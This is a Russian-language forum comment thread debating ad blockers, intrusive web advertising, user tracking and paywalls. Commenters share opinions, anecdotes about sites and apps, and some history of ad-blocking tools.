Когда ты смотришь на сайт через розовые очки адблока, ты чувствуешь, как будто владельцы и авторы материалов общаются с тобой, как с человеком, коллегой, равным. А без адблока ты смотришь на ту же страницу, и понимаешь, что ты в представлении этих людей никакой не коллега, а капающий слюной имбецил. И они обращаются к тебе вот этими кликбейтами и прыгающими сиськами, потому что другого обращения ты не поймёшь. И ты закрываешь этот сайт и не возвращаешься на него больше. Ни с адблоком, ни без.

Поэтому я всё чаще задаюсь вопросом: не является ли в этом смысле адблок последней преградой, отделяющей человечество от самоуничтожения?
0
Интернет эволюционирует и все что может быть заблокировано и не нравится пользователям — будет блокироваться. А платная подписка скорее соломинка гаснущей индустрии профессиональной журналистики которая пытается выжить сама по себе. Но и она, вряд ли, она спасет ситуацию — слишком уж легко информация может быть скопирована и распространенна. Такова природа интернета и бороться с ней бессмыслено.

Что дальше? Честно говоря не знаю, но верю что всё образуется. Возможно многие профессиональные ресурсы будет спонсироваться крупными институтами и компаниями (как в Apache Foundation спонсируются проекты). Кампании таким образом будут поддерживать свою репутацию и создавать аудиторию вокруг себя. А может направление будет идти больше в сторону опенсорса ака википедии.

А перед тем как все это случится скорее всего будет переходный период в котором большинство существующих изданий и сайтов закроется и профессиональные журналисты будут вынуждены уйти в корпорации и уже оттуда начнут возвращать профессиональную журналистику в том или ином виде.
+1
Я донейчу паре радиостанций, совершенно бесплатным, потому что они реально клевые, а я понимаю важность независимой журналистики. Никакие блогеры ее не заменят. А читать тенденциозные Fox или NYT (при всем уважении к их замечательным investigative reporter) я не хочу. И это совершенно нормально на западе, тогда как в СНГ, мне кажется, более типична реакция «я что, лох платить, когда можно бесплатно получить»?
Часто замечаю, как пост-советский опыт пытаются натянуть на западные проблемы, когда он совершенно не применим.
+9
Реклама не нужна. Нужны каталоги с полными характеристиками товаров/услуг, фильтрами и опциональной подпиской на новости, обновления и т.д.

В рекламе или лгут, или недоговаривают, и второе — не меньшее зло.

Что касается качественного контента — большинство так называемого «качественного контента» не стоит и выеденного яйца. Чаще всего это просто компиляции уже существующего, разбавленные водой, изменены рерайтом и т.д. Или просто ничем не примечательные произведения, коих тысячи и тысячи. Сейчас многие мнят себя великими писателями, музыкантами, художниками, что не делает их работы стоящими того, чтобы реклама засоряла мозг, уши и глаза посетителя.
+20
Если бы не AdBlock, в интернете вообще сидеть невозможно. Считаю его одной из самых полезных вещей в интернете.
Бывает, случайно на чьем-нибудь компьютере залезу на знакомые сайты — и их просто не узнать, хочется побыстрее закрыть эту канализацию или установить блокировку рекламы.

Автор, а вы, допустим, детей своих от мала до велика без AdBlock в интернет пустили бы?
— А телевизор раньше, если бы смотрели как сейчас Youtube — высиживали бы всю рекламу на канале, или начали бы быстро рефлекторно нажимать на пульт (громкость/смена каналов)?
— А на Youtube во время внезапного прерывания нужного вам ролика громкой рекламой (все лень пропатчить телефон, где это еще есть) вы ждете ~3 сек, и как только появится кнопка "пропустить" — не жмете ли ее на автомате? Или осознанно таки ждете, когда очередная реклама (нередко одна и та же, т.е. не в первый раз) — закончится, чтобы продолжить смотреть то, что вам интересно?
— А на email всякий валящийся спам — вы весь ли прочитываете и не жмете ли случайно «спам», глядя только на заголовок/тему/адрес пришедшего письма?
Некогда приводить еще примеры шпионажа, чтобы впихнуть в подходящий (для рекламодателя) момент подороже лекарство/что-бы-та-ни-было. И агрессивный характер впаривания. И постоянную ложь и при этом никаких обязательств/ответственности и прочее…
То ли еще будет: рекламодатели, видимо, хотят как в Футураме, пропихивать всем свой спам в сны, да и наяву тоже не против. Реклама освоит новые технологии и будет впаривать все через всякие проекции, голограммы, ультразвук (могу ошибиться с терминологией, но суть примерно такая) — лишь бы только заставить любыми уловками: покупай-потребляй-покупай_еще!
Уж лучше пусть будет платный контент от тех, кто хочет заработать. По крайней мере честнее, и яснее буду осознавать, что да, этот сайт мне точно нужен, и стоит таких то денег. Или не стоит, и тогда пусть наживаются на ком-нибудь другом с более толстым кошельком. Больше времени уйдет на семью или что еще полезное.
Те, кто хотят поделиться на сайте полезностями — дадут бесплатно, это тоже окупается, но не деньгами (в 1ю очередь, хотя и так бывает).
Но я бы хотел сохранить свой мозг и мозг своих детей или близких незагаженным всяким ненужным спамом.
Рекламаэто неправильный метод заработка в интернете. Просто надо придумать какие-нибудь более правильные альтернативы. Платные подписки — один из них. Можно, подумать над принципом, чтобы взамен я не просто потреблял, а тоже отдавал/делал что-либо полезное. А можно и бесплатно отдавать, если это действительно полезный контент — хороший автор от этого не проиграет!
А вот всякие копипастеры и прочая современная «журналистика» может хоть задумаются, как приносить реальную пользу — которую можно было бы без стеснения и с удовольствием купить или задонатить.
Автору вопросвам реально нравится смотреть рекламу? Почему бы не сделать способ, когда можно смотреть контент не морщась от омерзения, не тратя времени на поиск нужной информации на странице среди горы мелькающих и отвлекающих баннеров? Т.е. нужно, чтобы в выигрыше и удовлетворением были обе стороны (кто отдает контент и тот, кто потребляет).
Или вам хочется/нравится зарабатывать таким способом, и вы просто на текущий момент не знаете другого способа, как только с рекламой? Ну это тогда, конечно, другой вопрос.
НЛО прилетело, и опубликовало эту надпись здесь
+2
Я стараюсь по возможности сделать комментарий более удобочитабельным. Особенно учитывая, что он получился немаленьким. А глазу всегда приятно зацепиться за ключевые слова, чтобы понять то, что именно хотел сказать автор (я).
Да, я знаю про технологии впаривания, НЛП, выделения шрифтом для пропихивания в «подсознательное». Однако, я их стараюсь использовать по мере знаний для пользы тех, кто, может захочет почитать эти «многабукаф».
Не знаю, что вы имели ввиду про поехавшего сеошника, но к ним, к рекламщикам и т.п., я никакого отношения не имею, и не понимаю, о чем вы конкретно. Думаю, что выделением текста, когда это может считаться злоупотреблением, у меня не дошло.
Скопируйте текст комментария в notepad и прочитайте его без форматирования, если вам так приятнее.
+1
Прошу прощения, но добились Вы прямо противоположного результата.

Увидев такую «светомузыку» моя неокрепшая психика просто отказалась читать этот пост.
+3
Дорогая, своим СЕО мы убили полезные инструменты выделения основных мыслей в тексте (и возможность читать текст по диагонали, иметь конспект текста внутри него самого)!
+2
Текст со вставками жирным всегда становится менее удобочитаемым, т.к. взгляд скачет только по выделенным кускам и получается каша. Т.е. своим желанием выделить какие-то ключевые моменты вы добились того, что суть как раз теряется. При быстром просмотре текст выглядит примерно так: «Автор детей без адблок телевизор пульт ютуб пропустит емейл спам агрессивный характер ложь никаких обязательство покупай-потребляй-покупай_еще лучше бесплатно». Единственный вариант, который удобен — это выделить в начале абзаца основную мысль, а дальше ее раскрывать.
+2
Я стараюсь по возможности сделать комментарий более удобочитабельным.

Для выделения ключевых слов нужно использовать курсив — так оптически текст остается тем же, не раздражая читателя, а выделение остается.
0
Я в целом с вами согласен, возникло желание прокомментировать 3-ий вопрос)
Как только ютуб предложил мне попробовать премиум, я с огромным удовольствием перешёл на него. На компе ничего не поменялось — реклама и так резалась, а на телефоне стало удобнее пользоваться. Ну и у меня теперь нет чувства, что обрезая рекламу я лишаю контентмейкеров заработка. И очень надеюсь, что мои просмотры, без рекламы, но оплаченные подпиской, приносят авторам какую-то копеечку)
0
Youtube кстати за 199 рублей не только убирает всю рекламу, но ещё и разрешает без вопросов качать видео на телефон, и воспроизводить ролики в фоне, я считаю, что это стоит своих денег. Вот за такие подписки я всеми руками ЗА!
+3

Я считаю адблок чем — то вроде снисходительного, но честного полицейского. Он смотрит сквозь пальцы на незначительные проступки (ненавязчивую рекламу) и эффективно карает за торговлю крэком возле школы (попапы, самовключающиеся плееры и т.д.).
И да, когда на каком-нибудь говноресурсе неубираемый попап закрывает контент и требует отключить адблок, то сайт отлетает в исключения гугловой выдачи и никогда боле перед светлыми очами не маячит. Если просят вежливо и не устраивают балаган, я рассматриваю вариант адблок отключить. За первый же попап — включаю, или вообще сразу в исключения.
Ибо нехер. Я интернет оплачиваю, я его и танцую.

0
Я интернет оплачиваю, я его и танцую.

Не совсем верно. Вы оплачиваете свой доступ в интернет. Провайдер, который вам его предоставляет, ничего не гарантирует в плане контента.
А вот как раз контент — как создание авторами, так и доступность на серверах — оплачивает в той или иной степени сайт. Ни в коей мере не оправдываю рекламу, сам её не люблю и режу, но считаю что владелец контента\сайта в полном праве выбирать метод монетизации. А вы, соответственно, в праве смотреть рекламу\блочить её\уходить с сайта\оплачивать подписку. Но пока вы её не оплачиваете — вы его(контент) не «танцуете».
0
Не совсем верно. Вы оплачиваете свой доступ в интернет. Провайдер, который вам его предоставляет, ничего не гарантирует в плане контента.

Вот я и говорю, что оплачиваю интернет. То есть кабель/оптоволокно, электроэнергию, DNS сервис и т.д. Рекламщикии — пользователи оплаченной мной инфраструктуры. И хотят меня же напрягать свистелками и перделками. Нахер, товарищи, нахер.
0
Рекламщики там не сами появляются, а благодаря владельцам сайтов. Владельцы сайтов предоставляют вам контент, за которым вы пришли в интернет. И тратят на это свои деньги. Некоторые готовы тратить деньги ничего не получая взамен, некоторые преследуют репутационные цели, а некоторые — хотят зарабатывать. И делают это либо с помощью взымания платы либо в виде рекламы.
Если ваше виденье мира состоит только из вас, провайдера которому вы платите, и рекламщиков которые на этой инфраструктуре паразитируют — ваше видение мира неполное.
+5
1. АдБлок был реакцией на неадекватную рекламу. Так что рекламщики эту войну начали, их же виноватыми и считаю. Очень долго все упорно делали вид что их не касается какая реклама крутится у них на сайте. Рекламные сети очень долго не хотели ничего модерировать и как-то медленно шевелились. Я до сих пор иногда вижу баннеры притворяющиеся кнопками загрузки/просмотра, иногда даже в гугловских рекламных сетях. Так что пользователей виноватыми считать тяжело.

2. Новости. Простите, но последнее время что WSJ, что Forbes те же доверия не вызывают. Пишут любую SJW чушь по заказу с любым градусом неадеквата и очень однобоко. Так что на мой взгляд потеряли мы не только бесплатность контента, но и его качественность заодно. И тут я уже не уверен, что блокировщики тому виной.

Если что, сам я пользуюсь адблоком с белым списком и на всех ресурсах где я регулярно бываю он отключен.
+2
Этим они просто загоняют себя в еще большую жопу. Адблокеры отваливаются, потенциальные пользователи так и не смогут толком оценить контент из-за пейвола. Старые будут потихоньку утекать и ресурс умрет. GG WP.
А так есть реддит. В отличие от того же FB прекрасно индексируется поисковиками. Контент не зависит от сайта, на котором он появился — тянут туда тупо все, что соответствует сабу. Ну и т.д. Будущее за такими вот сайтами, а не узкими тематическими ресурсами. Последним, конечно, место тоже будет, но нужно будет очень хорошо постараться, чтобы выжить.

Тем более все равно рано или поздно рекламщики одумаются и перестанут платить за просмотры (или уже). Просто банально не вижу смысла смотреть рекламу в интернете, если абсолютно вся она для меня нерелевантна.
+1
Рекламщики практически всегда считают ROI, за что бы они не платили. Это не того объема индустрии, чтобы массово инвестировать в пустоту. Просто некоторые люди считают, что все реклама для них не релевантна. Все потому, что не понимают, какими порядками измеряется эффективность показов.
По факту, если типичный пользователь адблока его отключает и начинает рекламу смотреть, то отклик на рекламу точно такой же, как и в среднем по рынку (с той же поправкой на разницу в интересах и возможности/потребности). Но чтобы это видеть, надо смотреть логи рекламных систем за год, а не пытаться вспомнить свои последние клики по рекламе. Их как раз человек склонен не помнить, если они были целевыми.
+13
Извините за картинки, но с ними наглядней получается.
Парочка сайтов, с рекламой и без неё.
Оверклокеры:
image
image
Wired:
image
image

Полноэкранная реклама, перекрывающая текст, рекламные вставки в тексте, автоматом показываемое видео, часто ещё и не имеющее отношения к тексту… Молчу уж про то, как это на экране телефона/планшета выглядит периодически, там текста часто две-три строки всего видно. Про скорость загрузки и потребление трафика всей этой мишурой вообще молчу.
Вот знаете — мне всего этого вполне достаточно, чтобы разговоры о вреде адблоков пропускать мимо ушей. Владельцы сайтов сами выкопали себе яму, развесив столько навязчивой рекламы.
Вариант с подпиской честнее (если, конечно, там нету такого же количества рекламы).
+3
Вот полностью согласен. Добавлю только, что рекламщики и оптимизаторы убили еще и нормальный поиск в инете.
ФИДОнет существовал и без рекламы. И интернет без нее тоже не умрет. Во что он эволюционирует — другой вопрос.
Кстати, сижу в командировке в америке. Местные показали мне парочку русских видео с приколами с ютуба, говорят — вот смысла половины приколов мы тут не понимаем, переведи. Оказалось, это не приколы, а реклама, не ютубовская, а прямо в ролик вставленная. У них тут такой дикости [пока] не наблюдается.
0
Fido и без рекламы умерло.
А реклама прямо в роликах и у американцев есть, видел не раз. Но её хотя бы промотать можно нормально и она по громкости не отличается. А вот гугл свою непроматываемую втыкает куда попало, да еще и громкость задирает.
0

Рекламу прямо в роликах можно промотать. А насчет вообще неотключаемой рекламы на ютубе, ни на компе, ни на мобилке и планшете за последние десяток лет ни разу не встречал) Девайсы зарутованы сразу после покупки, поэтому мощные блокировщики справляются со спамом.

0
Ту рекламу, которую на ютубе втыкает гугель, не промотаешь без установки адблоков.

А рут на телефонах добавляет дополнительных порблем — отваливаются банковские приложения и всякие платежи с помощью nfc. Я уж лучше рекламу потерплю.
+3

Чтобы не отваливались платежи, нужно использовать правильный рут, умеющий прятаться. С Magisk у меня всё работает.

0
С Magisk у меня всё работает.

Подтверждаю, Sony XZ1, полный рут, платежка, банки, камера — все разлочено.

0
Оказалось, это не приколы, а реклама, не ютубовская, а прямо в ролик вставленная. У них тут такой дикости [пока] не наблюдается.

Но ведь именно у «них» появилась реклама в ролике, и не только, как «продакт плейсмент», правда роликов, как бы подводящих к «рекламной вставке» я тоже не видел. Тем не менее, в трубе, перед размещением видео, даже есть специальная галка:
Заявление о контенте

v В этом видео есть прямая реклама или продакт-плейсмент*

* В видео можно добавлять прямую рекламу и продакт-плейсмент, но при этом нужно соблюдать наши правила и нормы законодательства.
Подробнее


Кстати, если не указать этот пункт, а в ролике всё же будет реклама — можно смело подавать жалобу, гугл быстренько настучит по голове. «У них» — в роликах надпись — «Видео содержит рекламу» я уже видел неоднократно, а вот у нас — ещё ни разу.
+3
Не проверял, но мне почему-то кажется, что для 90% сайтов подписка только откроет контент, а вовсе не отключит рекламу. И это уже будет чистым издевательством над пользователем.

Оверклокерс дико огорчил в своё время отказавшись отображаться при включенном блокировщике. Причём ладно adblock, я бы его и вырубил на полчасика, чтобы новости/обзоры почитать, но они всё равно меня не пускаю из-за правленого файла hosts, а уж его обнулять — совсем за гранью.
0
Я не проверял, что там с подписками — я редко попадаю на подобные сайты. Хватает либо бесплатной статьи в месяц, либо инфа не оригинальна и можно её в другом месте найти.

А оверы либо исправились и больше не ноют, либо у меня блокировщик научился это нытье не показывать. Но я все равно к ним редко хожу, только по поисковым запросам попадаю, а не регулярно новости читать.
+4
Так, отвлекусь от темы немного… Как же сейчас особенно тяжело людям, тем кто видел миры без рекламы. Телевидение, журналы, газеты, радио, короче информационная сфера. Книги, музеи и театры.
Совсем нет рекламы! Вы представляете? Ну, профильные робкие замашки конечно были. В журнале «За рулем», например. Я понимаю что 1-2 процента журнала отдается рекламе по теме, но не 50% же!!! В кино и прочих театрах реклама называется «афишами». И это правильно. В работнице робко могли намекнуть на духи «Красная Москва» В что где когде старушка могла себе позволить «прорекламировать» книгу, которая достается победителю, кстати, эта телепередача была одним из моих любимых моментов времяпрепровождения. Когда-то… А теперь, да какой теперь! — уже давно… превратилось в пышущее алчностью унылое подобие…
От чего же все поменялось, социологи, или вопрос не только к ним, а еще и нам самим?..
0
Количество продаж всего и вся за единицу времени увеличилось в миллионы раз, тот кто не рекламирует — не продает, следовательно умирает.
+12
Рекомендую блочить всю рекламу из всех рекламных сетей. Вообще всегда и без исключений. Да, даже если сайт-паблишер вам нравится. Да, я понимаю, что администрация тоже кушать хочет, но собственная гигиена мне важнее.

Потому что рекламные сети не только хотят просверлить вам мозг выпрыгнувшим анимированным попапом. Они еще и хотят следить за вами. Не-ет, не просто посчитать статистику кликов по этому баннеру! А навесить вам персональный идентификатор, проследить за вами на всех сайтах до которых смогут дотянуться, склеить истории серфинга и получить полную картину личности (ага, обезличенной личности, бгг). Истории серфинга активно продаются и покупаются. Вы можете зайти на сайт впервые в жизни, а он уже будет знать всю вашу подноготную за последний год — где вы что покупали и какой условный порнохаб посещали. Так что в топку.

Переходите на прямую рекламу.
Ну и реквизиты для донатов опубликуйте.
0

Со слежкой вопросы будут регены совсем скоро. Для пользователей safari он уже решен. Куки, не принадлежащие посещаемому сайту, автоматически очищаются чере сутки (или 12 часов). А куки посещаемого сайта не могут использоваться в качестве third-party кук.


Итак, вопрос с гигиеной почти решен. Но остается вопрос того что сайт дает вам информацию, а вы ему ничего. В таком случае свйт или будет вам отказывать в доступе к инфе, закрываясь пейволом, или станет предоставлять некачественную информацию или одни партнерские материалы.

+3
Куки? Блажен, кто верует. Рекомендую погуглить по словам «browser fingerprinting», узнаете много интересного.
0

Browser fingerprinting будет ошибаться, как дополнение к кукам — да. Но не вместо.

0
Наивность зашкаливает.
Все эти технологии типа фингерпринта или Evercookie (тоже рекомендую погуглить, кстати) как раз и придуманы из-за ненадежности обычных кук, чтобы заменять их! Если бы им для работы были обязательны куки, какой в них тогда смысл? И работать они, по замыслу, должны даже если пользователь полностью очистит кэш/куки/историю своего браузера. В этом их основная идея.
Точность фингерпринтинга в реальных условиях оценивается порядка 90% за исключением некоторых частных случаев (айфоны). И хотя разработчики браузеров высказывали некоторые идеи по борьбе, все предложенные противометоды пока защищают очень частично.
Я не хочу играть в лотерею с шансами на выигрыш 10%.
0
А как вы отнесетесь к рекомендации блокировать таких пользователей со стороны сайтов? Ну чтобы вынуждены были или перепечатки на говносайтах читать или рыться в каких-то кэшах гугла, как тут рекомендуют выше. Ведь какая-то часть пользователей в результате такой политики блокировщик отключат и сайт что-то заработает. А от остальных сайту какой толк?
+1
Их право. Правда, позволить себе это могут лишь единицы сайтов, производящие супер-востребованный и уникальный контент. Остальные этим спилят сук, на котором сидят, потому что обрушат собственную известность, узнаваемость, цитируемость и пр.
-1
Если топовые сайты зададут тренд, то позволить это себе смогут все, кто зарабатывает на рекламе. А узнаваемость и цитируемость среди юзеров адблока это не то, за чем сайтам вообще интересно гоняться. Это не целевые посетители.
0
Угу, скажите еще, что MS пиратство невыгодно :) Это ведь тоже нецелевые пользователи.
0
Кто-то из топов MS однажды сказал плюс-минус следующее: «пусть они сидят на нашей пиратской продукции, чем на бесплатном Linux». Потому что если ты умеешь работать в Linux, то Windows как бы уже и не сильно нужен…
+1
Тут другая ситуация, равно как и у Харба или Фейсбука — пользователи, что не смотрят рекламу все равно приносят пользу сайту.
Аналогично, нет никакого смысла ограничивать пользователей блокировщиками, например, интернет-магазину даже, если эти пользователи не увидят какие-то предложения.

Но у какого-то автомобильного журнала, который, например, вложил нормально денег в качественный и независимый тест шин (купив их за свои и оплатив работу команды, что занималась тестированием), нет никакого резона показывать этот тест тем, кто заблокировал рекламу. По крайней мере, бесплатно.

Ну или это даже может быть не тест шин, а простое интервью со значимым в индустрии человеком или понятное описание работы какого-то устройства, актуальное для многих автомобилистов. То, на что тратилось оплачиваемое рабочее время журналиста.
0
Издания, которые делают хорошие дорогие тесты шин, продают платные подписки (Авторевю).
0
Вы понимаете, что это был просто пример тематики?
+2
Это вполне показательный пример. Много денег в качественные материалы вкладывают единицы. Будь то тест шин (условное Авторевю) или финансовая аналитика (условный Блумберг). И они, прекрасно понимая уникальность своего контента, продают его за деньги.
Остальные 99% сайтов (даже включая вполне годные) ничего такого супер-уникального, чего нельзя было бы найти у конкурента через дорогу, не предлагают. Будь то стопиццотая перепечатка новостей Интерфакса или обзор очередного смартфончика.
НЛО прилетело, и опубликовало эту надпись здесь
0
К сожалению, от слежки даже отключение адблока (в моем случае ublock) не поможет. Вы не поверите, но я вечером зашел на пару сайтов по поводу ипотеки, посмотрел предложения пары банков (райфайзен и сбер), а на утро мне приходит смс от ренессанс-кредит что мне одобрен кредит, и это не совпадение, от них мне 3 года не приходило ничего, я как простой реакт погромист не могу понять как они это делают, надо почитать что-нибудь на эту тематику
+1
А заходили с мобильного инета? Вроде сайту узнать номер мобильного, если вы с мобильного инета, относительно просто, более того куча народа жалучется на подключение левых подписок на стронних сайтах.
0
Нет, с обычного домашнего, причем я даже нигде никаких данных не заполнял, и тем более не заходил на какой либо сайт банка ренессанс.
+6
Все началось лет пять назад, когда на рынке появился AdBlock и его разнообразные форки.


Релиз AdBlock 1.0 случился в 2008 году. Вы как-то упустили последние 10 лет борьбы с рекламными банерами. А так же упустили эволюцию рекламы с обычных банеров до таргетинговых сетей. И вообще, не вижу смысла описывать всю историю, если вы сами не позаботились изучить её.
+4
С теплом вспоминаю первую версию Admuncher. Висела в трее корова и с анимацией лопала рекламу. Интересно, жив ли он ещё?
+1
Admuncher как-то прошел мимо меня, хотя помню в свои времена был очень пополярен.

Но до восхождения AdBlock кроме Admuncher и нескольких менее популярных отдельных программ-фильтров еще были весьма популярны такие браузеры как MyIE2 (позже Maxthon), Avant Brower и несколько других, которые хоть и не имели собственного движка (в то время это были надстройки на царившем на рынке I.E.), но серьезно расширяли удобство интерфейса (одни табы чего стоили) и функциональность.
И одна из важных частей этой расширенной функциональности и причиной популярности было, что они. имели встроенные баннеро-резки «из коробки», а не отдельными плагинами.

Я и знакомые начали резать мешающую интернет рекламу еще тогда, порядка 15 лет назад. Практически одновременно с ее (интернет рекламой в виде баннеров и выскакивающих окошек) появлением как более-менее массового явления.

Ну а появление PayWall на перечисленных и некоторых других сайтах в основном связано не с рекламорезками и упущенным доходом от рекламы на их интернет-сайтах. Если посмотреть внимательно списки ресурсов — почти все это действующий или бывшие печатные издания (газеты/журналы).
И появление PayWall связано в первую очередь с тем, что продажи их печатных версий приносивших им основной доход последние годы совсем стухли. И теперь издатели просто пытаются продавать электронные версии примерно так же как они привыкли продавать свою печатную продукцию.
+1
Я помню времена сисадминства 2000-2002 года, инет был медленный и стоил сотни нефти. А адблоков особо и не было. Ставили фрю на утиль на базе первых пней, поднимали прокси и загоняли в него черный список айпи адресов источников рекламы. Уже тогда реклама была головной болью и подобные списки легко гуглились апортились.
0
Я помню, что Firefox (Тогда ещё Phoenix) какой-то версии 0.1 или 0.3 я поставил именно потому, что у него в отличие от остальных браузеров появились дополнения, и, о чудо! AdBlock!
Было это в 2002 — 2003 году.

en.wikipedia.org/wiki/Adblock_Plus
+3
О том, как создавать качественный рекламный контент и при этом не вводить платную подписку, можно поучиться у медузы, например.
+7
Кстати, хотя ни разу ещё не доводилось покупать что-либо, связанное с рекламой на Медузе, я неоднократно заходил в партнёрские статьи и тесты. Весьма интересно и познавательно и создано с уважением ко мне как к пользователю сайта. Баннеры же — это просто плевок в лицо, и я не понимаю, почему кто-либо должен терпеть это и не блокировать?
+6
Интересная всё же тут аудитория — от всемирно признанных профессоров до питекантропов без дара речи.
0
академиков РАЕН!


Это вы про случайно выжившию таксу вспомнили?
Даа, поток сознания там лился тот ещё.
0
Я вспомнил что зеленый кот сгонял в сочи -сириус и стал нести такую же дичь, как 2/3 комментаторов в его ЖЖ, с пустыми аккаунтами и 2 друзьями.
так что тутошние поклонники и утопителя такс, и того академика, который может быстренько убедить извиниться, меня утомляют
+6
Несколько соображений.
1. Бесплатный контент с рекламой на самом деле не бесплатен. «если в одном месте убудет, то в другом присовокупится». Расплачиваемся мы все за рекламу повышением цен на товары и импульсивными, неоптимальными покупками. Если бы это было не так, за рекламу бы не платили.
И если автору нужно читать по работе множество изданий с дорогой подпиской, это должно входить в стоимость продукта автора, а не перекладываться на всех. Иначе какая-то кривая экономика получается.
2. С другой стороны, реклама — это переток средств в интернет и медиа из других отраслей. Что-то типа налога. Возможно, кому-то покажется, что это хорошо. Мое мнение — не очень, издержки большие.
2. Реклама стала таргетированной, что означает неуемный шпионаж и сбор персональных данных. Это уже большее зло, чем сам баннер. Я в последнее время при чтении чего-либо соприкасающегося с коммерцией открываю браузер в приватном режиме, ибо невозможно уже.
3. Про историю. Когда-то давным-давно я блокировал рекламу. Потом, когда появился аккуратный и ненавязчивый контекст гугла, перестал. Но сейчас все вернулось к временам диких баннеров — я опять блокирую, за исключением некоторых сайтов. Если бы реклама оставалась в рамках, то не блокировал бы.
4. Проблема, конечно, есть. Я не читаю регулярно репаблик, ведомости или wire. Платить за подписки на все, куда я могу забрести, и дорого, и неудобно. НО решение очевидно: подписка у агрегатора с отчислением тем изданиям, материалы которых я реально прочитал. Надеюсь, удобное решение появится.
0. Но все это мелочи, по сравнению с тем, что качество контента падает на глазах, и все тонет в информационном мусоре. Львиная доля материалом «пишется» людьми, ничего не понимающих в предмете. Просто копируется из нескольких других статей. Делаешь запрос — на первой странице выдачи одно и то же (дословно, вплоть до примеров). Как-то монетизация контента, SEM и реклама, не к добру ведут.
+3
Если есть фактическая (техническая и правовая) возможность заблокировать рекламу, то эта возможность будет использована. Просмотр рекламы не является востребованной услугой.

Какой смысл ныть? Таковы законы природы.

Не следует строить свой бизнес на том, что потребитель глуп и никогда не сможет. Найдутся (уже нашлись) люди, которые помогут потребителю, то есть удовлетворят спрос на услугу избавления от рекламыи и даже (какой ужас!) извлекут из этого выгоду.

И да, производитель контента найдёт техническую возможность заставить заплатить за результат своего труда. Какого чёрта качественный контент должен быть доступен всем подряд? Только потому, что кто-то подумал, что некая «реклама» создаст коммунизм?

Хорошо это или плохо — я не берусь утверждать. В одном племени, например, здороваться за руку — это хорошо, а в другом за руку трогать нельзя.
0
По идее, ответом будет просто блокировка доступа для таких пользователей. Ведь посетители с резалками рекламы не являются востребованными для сайта. Зачем на них тратить ресурсы? Пусть идут на другие сайты, не?
0
По-моему так: после того, как контент пришёл на потребительское устройство, с ним можно делать что угодно и не сообщать об этом источнику контента. Это принципиальная техническая возможность, которую нельзя отменить. Уловки, которые позволяют обнаружить и однозначно идентифицировать такую активность, всегда будут отставать.
0
Можно, но только если контент пришел сразу весь в открытом виде. Если он приходит видоизмененным и расшифровывается уже на клиенте через JS или через тот же JS догружается уже после проверок, то техническая возможность пропадает.
И, в принципе, сайту ничего не мешает именно так и делать. Поисковики уже давно умеют обрабатывать и js и вообще грузить страницу полноценно как браузер, а не просто парсить один html. Устройства без js давно не являются целевыми для большинства сайтов.
0
То есть можно отобрать у потребителя техническую возможность вырезать рекламу? Вот совсем-совсем отобрать?

Речь идёт о принципиальных отношениях между производителем и потребителем контента. Их нельзя ограничить и тем более подменить техническим аспектом клиент-сервер. Да, действительно, можно обобщённо сказать, что все целевые потребительские устройства на данный момент используют JS. Но это же ничего не меняет. Неважно в каком виде приходит контент: видоизменённом, зашифрованном или даже требующим проверок.

Контент всё равно придётся показать потребителю и как раз перед этим моментом на потребительском устройстве можно вырезать (ладно, закрыть чтобы не мешала) рекламу. Возможно, не всю, но самую массовую и нужную для поставщика всегда легко идентифицировать по самой природе её массовости и сетевого распространения.

Этого вполне достаточно, чтобы нанести смертельный удар по модели производства контента за счёт рекламы.

Пока потребитель контента физически распоряжается своим устройством, поставщик беззащитен против любых действий, предпринятых с контентом потребителем. По-моему не следует уповать на то, что в условиях архитектуры клиент-сервер потребитель как бы и не совсем хозяин своему устройству.
0
Скрыть — да, пропустить — без проблем можно сделать. Сервер вместо контента отдает рекламу, начинает крутить ее. Через, положим, 10 сек — JS отправляет запрос с токеном и получает первый кусок статьи. Попытались отправить запрос раньше — отлуп от сервера и счетчик сбрасывается на начало. Цикл реклама-запрос-кусок статьи повторяется.
Максимум, что умный клиент может сделать — прятать рекламу, или грузить в фоне, но ждать все равно придется. Ну или спиратить.
0
Это хороший способ всё-таки показать рекламу. Есть много способов. Мы же тут на техническом ресурсе, обсуждаем хитрости. И это прекрасно. Я уверен, что если подумать, то можно придумать ещё много чего. Ох как много!

Но есть проблема. Даже не проблема, беда конкретная.

Устройство, которое воспроизводит контент, находится у потребителя контента. То есть в полном его распоряжении.

Например, есть производитель контента. Он хочет, чтобы контент был показан с рекламой. Потребитель этого не хочет. Он хочет без рекламы.

На кого поставить?
0
Устройство, которое воспроизводит контент, находится у потребителя контента. То есть в полном его распоряжении.

Я бы так не сказал. Айфон например не полностью в распоряжении пользователя, андроид без рута тоже. Всё идёт к тому, что устройства будут даваться в аренду без права что-либо менять в прошивке. А в залоченном устройстве вполне возможно сделать невырезаемую возможность воспроизведения рекламы.
0
Я не могу вот так вот сходу оценить жиснеспособность этой бизнес-модели.
Вы сами как это оцениваете?
0
Да, был опыт с таким сайтом. Адблок там заблокировал даже счетчики посетителей. Через несколько месяцев сделали так, чтобы реклама блокировалась только вместе с контентом (была статическая реклама в плеере на паузе, сделали чтобы грузилась с того же источника, что и видео).
По результатам следующих 6 месяцев рост по счетчикам на 10%. Возможно, до такой настройки, на сайт ходило суммарно больше людей, но предпочитали считать количество «полезных».

Правда, в итоге адблок начал пропускать ту рекламу и ее просмотров было процентов на 20 больше, чем посетителей по счетчикам (которые оставались забаненными).
+1
Ну тогда в чём ваш вопрос?
  • Возможно ли это? — вы сами ответили на вопрос, возможно
  • Можете ли вы так делать? — ваш сайт — как хотите так и делайте. Законом пока это не запрещено
  • Этично ли это? — на мой личный взгляд нет, и в долгосрочной перспективе вероятно не окупится

Я прекрасно понимаю, что AdBlock лишает вас некоторой доли прибыли, но блокировать пользователей которые по какой-то причине не хотят смотреть рекламу — на мой взгляд — это примерно как в 2000 году в магазине электроники не продавать ничего тем, кто отказывается от доп. услуг. Законов, запрещающих это (пока) нет, но это плохо пахнет.

Понятно, что лично вы возможно в этом не виноваты, но — тем не менее — проблема назойливой мусорной рекламы вполне реальна, и увы — именно размещающие рекламу довели ситуацию до сегодняшней. А не авторы AdBlock и не пользователи.
0
Вопрос был в том, устраивает ли пользователя, который блокирует рекламу потому, что может, что сайты в таком случае закроют ему доступ потому, что могут.
+1
«Он же мне в прошлый раз чаевых не оставил, значит я вправе ему в чай плюнуть». Звучит как мелкая мстительность.

Пользователи (в большинстве, по крайней мере) блокируют рекламу не «потому, что могут», а потому что их крайне заколебали рекламщики, которые пихают везде треш, «потому что могут».

устраивает ли пользователя

